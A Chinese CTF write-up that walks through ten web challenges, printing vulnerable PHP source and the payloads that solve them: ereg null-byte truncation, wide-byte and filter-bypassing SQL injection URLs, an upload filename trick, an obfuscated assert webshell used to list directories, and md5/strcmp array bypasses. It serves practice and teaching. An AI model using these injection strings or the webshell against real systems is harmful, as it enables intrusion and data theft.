CTF札记二
本文是CTF题的复现,我尽量用自己的文字将writeup解释清楚。
0x1第一题
ereg函数截断
一个php代码审计题,上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
<?php if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?> |
首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题:ereg读到%00的时候,就截止了,
那么在字符串里面包括%00即可;
接着需要长度小于8但要大于9999999,想到hint里的科学方法,使用科学计数法即可;
还要求有-,最后构造password=1e9%00-,直接在地址栏提交,通过表单提交不会把%00看作截断符。
0x2第二题
文件上传测试,提示上传PHP文件。
Burp抓包,将文件名改成 1.jpg.php 即可。
0x3第三题
打开页面一直弹窗,阻止弹窗后,查看网页源码。
1 2 |
KEY{J2sa42ahJK-HS11III} |
发现flag加密,去Unicode解密即可。
KEY{J2sa42ahJK-HS11III}
0x4第四题
右键查看元素,GB312,想到款字节注入。
1 2 |
http://103.238.227.13:10083/?id=1%df' union select 1,database() %23 |
爆出所有的数据库,再结合题目,得到flag。
1 2 |
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23 |
0x5第五题
直接修改hosts文件。
1 2 |
KEY{DSAHDSJ82HDS2211} |
0x6第六题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
//过滤sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感关键字!'.$value); } } //xss过滤 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1"; |
可以看到,后台过滤了相关的sql查询代码。
这里考虑用%00绕过关键字过滤。
1 2 3 |
http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fro%00m sql3.key 拿到flag{c3d3c17b4ca7f791f85e#$1cc72af274af4adef} |
0x7第七题
访问网址给出源代码,这里我稍微注释下:
flag In the variable !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php error_reporting(0);// 关闭php错误显示 include "flag1.php";// 引入flag1.php文件代码 highlight_file(__file__); if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目 } ?> |
提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。
利用超全局数组 GLOBALS 可以打印出所有变量。
1 2 3 |
http://120.24.86.145:8004/index1.php?args=GLOBALS flag{92853051ab894a64f7865cf3c2128b34} |
0x8第八题
JSPFUCK??????答案格式CTF{**}
JsFUCK又不是第一次见了,查看网页源码,复制到控制台,回车就可以啦!
0x9第九题
过狗一句话,题目给了代码如下:
1 2 |
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?> |
看提示,猜测 indexphp 就是shell 于是直接利用
用assert执行任意代码 ,题目中有$_GET['s'];于是构造代码扫描目录
1 2 |
http://120.24.86.145:8010/?s=print_r(scandir('./')); |
访问http://120.24.86.145:8010/flag.txt得到flag
0x10第十题
前女友,打开网页是这个,有意思:
查看源码,发现有code.txt,查看之:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?> |
根据php代码,以GET形式传递3个值,其中v1变量值 != v2变量值,if中的第二个判断条件用的是 ==,我们可以利用 "0x" == "0a"的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串。
php中md5()函数漏洞和strcmp()函数漏洞的利用
所以简单构造下数组就可以了
http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1